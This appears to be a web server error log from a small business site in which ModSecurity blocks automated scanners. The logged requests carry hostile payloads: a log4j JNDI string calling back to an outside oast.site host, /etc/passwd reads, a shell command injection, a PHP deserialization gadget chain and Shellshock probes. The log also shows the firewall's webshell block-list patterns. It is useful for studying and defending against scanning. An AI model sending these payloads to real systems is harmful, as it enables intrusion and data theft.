[Sat Nov 22 06:56:48.450887 2025] [:error] [pid 53477:tid 53482] [client 212.116.231.26:52098] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "aSDuMH7Lu30Ku9O40aIHCwAAAAE"]
[Sat Nov 22 06:56:49.283938 2025] [:error] [pid 25856:tid 25878] [client 212.116.231.26:52566] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuMRsTP0wy94zKUvHnvwAAARQ"]
[Sat Nov 22 06:56:50.095025 2025] [:error] [pid 53479:tid 53537] [client 212.116.231.26:45866] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuMm6cicFF3Aas-oShwAAAAIE"]
[Sat Nov 22 06:56:50.928895 2025] [:error] [pid 9547:tid 9574] [client 212.116.231.26:46386] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuMtClOR5qk7DoMeGl-AAAAVU"]
[Sat Nov 22 06:56:51.761493 2025] [:error] [pid 53477:tid 53489] [client 212.116.231.26:46904] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuM37Lu30Ku9O40aIHLQAAAAg"]
[Sat Nov 22 06:56:52.573917 2025] [:error] [pid 53478:tid 53533] [client 212.116.231.26:47352] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuNAhUYdXBbQswAdRAfgAAAFg"]
[Sat Nov 22 07:51:02.444779 2025] [:error] [pid 9547:tid 9576] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Sat Nov 22 07:51:02.583345 2025] [:error] [pid 9547:tid 9553] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sat Nov 22 07:51:02.715157 2025] [:error] [pid 9547:tid 9564] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sat Nov 22 07:51:02.816725 2025] [:error] [pid 9547:tid 9555] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Sat Nov 22 07:51:02.913889 2025] [:error] [pid 9547:tid 9556] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sat Nov 22 07:51:03.009673 2025] [:error] [pid 9547:tid 9562] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sat Nov 22 07:51:03.137630 2025] [:error] [pid 9547:tid 9563] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Nov 22 07:51:03.295426 2025] [:error] [pid 9547:tid 9554] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Nov 22 07:51:03.539198 2025] [:error] [pid 9547:tid 9575] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Sat Nov 22 07:51:03.761067 2025] [:error] [pid 9547:tid 9564] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sat Nov 22 07:51:03.873976 2025] [:error] [pid 9547:tid 9555] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Sat Nov 22 07:51:03.967423 2025] [:error] [pid 9547:tid 9557] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Nov 22 07:51:04.077820 2025] [:error] [pid 9547:tid 9559] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sat Nov 22 07:51:04.191802 2025] [:error] [pid 9547:tid 9566] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sat Nov 22 07:51:04.288648 2025] [:error] [pid 9547:tid 9571] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Sat Nov 22 07:51:04.414645 2025] [:error] [pid 9547:tid 9568] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sat Nov 22 07:51:04.508760 2025] [:error] [pid 9547:tid 9563] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat Nov 22 07:51:04.625892 2025] [:error] [pid 9547:tid 9570] [client 194.5.82.124:38871] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sat Nov 22 07:51:06.280347 2025] [:error] [pid 9547:tid 9561] [client 194.5.82.124:38871] [client 194.5.82.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSD66tClOR5qk7DoMeG9NgAAAUg"]
[Sat Nov 22 12:29:18.545099 2025] [:error] [pid 53478:tid 53517] [client 144.48.39.86:42048] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:lib_path. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:lib_path: /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSE8HghUYdXBbQswAdScsQAAAEg"]
[Sat Nov 22 12:29:24.193289 2025] [:error] [pid 53566:tid 53582] [client 144.48.39.84:48772] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSE8JMbSHDBkRbwMbd7QxgAAAM4"], referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.d4e0balnduab18qcgofguyp4y4jdqraug.oast.site}
[Sat Nov 22 15:07:29.564281 2025] [:error] [pid 9547:tid 9568] [client 144.48.39.86:41182] [client 144.48.39.86] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.windfarmcoolants.com.au|F|2"] [data "TX:0=application/soap+xml"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.windfarmcoolants.com.au"] [uri "/wsman"] [unique_id "aSFhMdClOR5qk7DoMeFqOQAAAU8"]
[Sat Nov 22 16:01:22.757259 2025] [:error] [pid 53478:tid 53510] [client 144.48.39.84:55936] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/slogin/login.py"] [unique_id "aSFt0ghUYdXBbQswAdTM_QAAAEE"]
[Sat Nov 22 16:42:47.464643 2025] [:error] [pid 53478:tid 53513] [client 206.189.233.36:59316] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v2/api-docs"] [unique_id "aSF3hwhUYdXBbQswAdTYHAAAAEQ"]
[Sat Nov 22 16:42:48.086291 2025] [:error] [pid 53479:tid 53557] [client 206.189.233.36:59332] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v3/api-docs"] [unique_id "aSF3iG6cicFF3Aas-oRodwAAAJU"]
[Sat Nov 22 16:42:48.711764 2025] [:error] [pid 53566:tid 53587] [client 206.189.233.36:59338] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aSF3iMbSHDBkRbwMbd4MtgAAANM"]
[Sat Nov 22 16:42:49.332436 2025] [:error] [pid 53479:tid 53556] [client 206.189.233.36:59344] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/api/swagger.json"] [unique_id "aSF3iW6cicFF3Aas-oRogwAAAJQ"]
[Sat Nov 22 16:42:49.953828 2025] [:error] [pid 53566:tid 53589] [client 206.189.233.36:59348] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/@vite/env"] [unique_id "aSF3icbSHDBkRbwMbd4MtwAAANU"]
[Sat Nov 22 16:42:50.576033 2025] [:error] [pid 53479:tid 53536] [client 206.189.233.36:59356] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/actuator/env"] [unique_id "aSF3im6cicFF3Aas-oRojQAAAIA"]
[Sat Nov 22 16:42:51.196971 2025] [:error] [pid 53479:tid 53550] [client 206.189.233.36:59368] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/server"] [unique_id "aSF3i26cicFF3Aas-oRokQAAAI4"]
[Sat Nov 22 16:42:51.819013 2025] [:error] [pid 25856:tid 25865] [client 206.189.233.36:59376] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSF3ixsTP0wy94zKUvGXZAAAAQc"]
[Sat Nov 22 16:42:52.442290 2025] [:error] [pid 53477:tid 53499] [client 206.189.233.36:59388] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about"] [unique_id "aSF3jH7Lu30Ku9O40aKZNQAAABI"]
[Sat Nov 22 16:42:53.065479 2025] [:error] [pid 53479:tid 53536] [client 206.189.233.36:59398] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/debug/default/view"] [unique_id "aSF3jW6cicFF3Aas-oRolgAAAIA"]
[Sat Nov 22 16:42:53.690922 2025] [:error] [pid 53479:tid 53552] [client 206.189.233.36:59400] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/v2/_catalog"] [unique_id "aSF3jW6cicFF3Aas-oRomwAAAJA"]
[Sat Nov 22 16:42:54.312862 2025] [:error] [pid 53566:tid 53589] [client 206.189.233.36:59412] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSF3jsbSHDBkRbwMbd4MwgAAANU"]
[Sat Nov 22 16:42:54.930949 2025] [:error] [pid 9547:tid 9563] [client 206.189.233.36:59422] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/server-status"] [unique_id "aSF3jtClOR5qk7DoMeGHNwAAAUo"]
[Sat Nov 22 16:42:55.551665 2025] [:error] [pid 53566:tid 53585] [client 206.189.233.36:55322] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/login.action"] [unique_id "aSF3j8bSHDBkRbwMbd4MxQAAANE"]
[Sat Nov 22 16:42:56.171834 2025] [:error] [pid 53478:tid 53528] [client 206.189.233.36:55336] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/_all_dbs"] [unique_id "aSF3kAhUYdXBbQswAdTYLQAAAFM"]
[Sat Nov 22 16:42:56.793165 2025] [:error] [pid 53478:tid 53522] [client 206.189.233.36:55350] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.DS_Store"] [unique_id "aSF3kAhUYdXBbQswAdTYMgAAAE0"]
[Sat Nov 22 16:42:57.414066 2025] [:error] [pid 53477:tid 53489] [client 206.189.233.36:55364] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aSF3kX7Lu30Ku9O40aKZPgAAAAg"]
[Sat Nov 22 16:42:58.043100 2025] [:error] [pid 53479:tid 53546] [client 206.189.233.36:55368] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSF3km6cicFF3Aas-oRopwAAAIo"]
[Sat Nov 22 16:42:58.665205 2025] [:error] [pid 53478:tid 53531] [client 206.189.233.36:55382] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSF3kghUYdXBbQswAdTYOAAAAFY"]
[Sat Nov 22 16:42:59.289615 2025] [:error] [pid 53477:tid 53503] [client 206.189.233.36:55394] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "aSF3k37Lu30Ku9O40aKZRgAAABY"]
[Sat Nov 22 16:42:59.910172 2025] [:error] [pid 9547:tid 9569] [client 206.189.233.36:55398] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/telescope/requests"] [unique_id "aSF3k9ClOR5qk7DoMeGHSgAAAVA"]
[Sat Nov 22 16:43:00.676203 2025] [:error] [pid 53566:tid 53576] [client 206.189.233.36:55412] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aSF3lMbSHDBkRbwMbd4MygAAAMg"]
[Sat Nov 22 16:43:01.381393 2025] [:error] [pid 9547:tid 9575] [client 206.189.233.36:55414] [client 206.189.233.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aSF3ldClOR5qk7DoMeGHTwAAAVY"]
[Sat Nov 22 17:23:02.188321 2025] [:error] [pid 9547:tid 9569] [client 144.48.39.84:55690] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sat Nov 22 18:34:42.639391 2025] [:error] [pid 53479:tid 53541] [client 144.48.39.84:44024] File does not exist: /usr/local/apache/htdocs/suspended-page/card_scan.php
[Sat Nov 22 18:36:04.177349 2025] [:error] [pid 9547:tid 9567] [client 144.48.39.86:34448] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /apply_sec.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/apply_sec.cgi"] [unique_id "aSGSFNClOR5qk7DoMeGuAAAAAU4"], referer: https://www.windfarmcoolants.com.au/login_pic.asp
[Sat Nov 22 19:25:32.547745 2025] [:error] [pid 53477:tid 53503] [client 144.48.39.86:50920] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /conf_mail.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/conf_mail.php"] [unique_id "aSGdrH7Lu30Ku9O40aLHvwAAABY"]
[Sat Nov 22 19:25:32.549330 2025] [:error] [pid 44259:tid 44281] [client 144.48.39.86:50890] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:file outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:file=;echo CVE-2023-23333|rev\\x00.zip"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/downloader.php"] [unique_id "aSGdrHXe1xL-_YOdRmSIowAAAZM"]
[Sat Nov 22 19:25:32.549762 2025] [:error] [pid 44259:tid 44275] [client 144.48.39.86:50892] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Found 16 byte(s) in ARGS:user[searchprefs] outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:user[searchprefs]=a:2:{i:0;O:27:\\x22googlelogin_vendor_autoload\\x22:0:{}i:1;O:32:\\x22Monolog\\x5cHandler\\x5cSyslogUdpHandler\\x22:1:{s:9:\\x22\\x00*\\x00socket\\x22;O:29:\\x22Monolog\\x5cHandler\\x5cBufferHandler\\x22:7:{s:10:\\x22\\x00*\\x00handler\\x22;r:4;s:13:\\x22\\x00*\\x00bufferSize\\x22;i:-1;s:9:\\x22\\x00*\\x00buffer\\x22;a:1:{i:0;a:2:{i:0;s:14:\\x22CVE-2023-25135\\x22;s:5:\\x22level\\x22;N;}}s:8:\\x22\\x00*\\x00level\\x22;N;s:14:\\x22\\x00*\\x00initialized\\x22;b:1;s:14:\\x22\\x00*\\x00bufferLimit\\x22;i:-1;s:13:\\x22\\x00*\\x00p..."] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/ajax/api/user/save"] [unique_id "aSGdrHXe1xL-_YOdRmSIogAAAY0"]
[Sat Nov 22 19:25:33.178353 2025] [:error] [pid 53477:tid 53498] [client 144.48.39.86:50928] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /app/options.py"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/options.py"] [unique_id "aSGdrX7Lu30Ku9O40aLHwgAAABE"], referer: https://windfarmcoolants.com.au/app/login.py
[Sat Nov 22 19:25:33.181191 2025] [:error] [pid 44259:tid 44265] [client 144.48.39.86:50938] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sat Nov 22 19:25:34.177989 2025] [:error] [pid 53478:tid 53518] [client 144.48.39.86:51010] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:field. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:field: field:exec:head -1 /etc/passwd:null:null"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSGdrghUYdXBbQswAdQDLgAAAEk"]
[Sat Nov 22 19:25:34.178591 2025] [:error] [pid 25856:tid 25859] [client 144.48.39.86:51046] [client 144.48.39.86] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=application/x-thrift"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/saas./resttosaasservlet"] [unique_id "aSGdrhsTP0wy94zKUvHIwwAAAQE"]
[Sat Nov 22 19:25:35.177313 2025] [:error] [pid 53477:tid 53486] [client 144.48.39.86:51084] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /network_test.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/network_test.php"] [unique_id "aSGdr37Lu30Ku9O40aLHxQAAAAU"]
